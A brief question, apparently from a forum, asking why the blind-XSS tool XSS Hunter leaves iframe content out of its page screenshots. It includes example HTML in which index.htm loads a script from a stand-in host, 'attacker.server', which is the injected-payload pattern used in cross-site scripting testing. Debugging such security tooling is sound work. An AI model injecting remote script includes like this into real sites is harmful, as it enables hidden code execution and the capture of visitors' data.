I'm trying to take a screenshot of a html pages with an iframe, but xsshunter is not taking the screenshot of the Iframe content.
EXAMPLE:
index.htm
<iframe src="demo_iframe.htm" style="border:2px solid red;"></iframe>
<script src=https://attacker.server></script>
demo_iframe.htm:
<html>
<body style="background-color:powderblue">
<h1>This page is displayed in an iframe</h1>
</body>
</html>
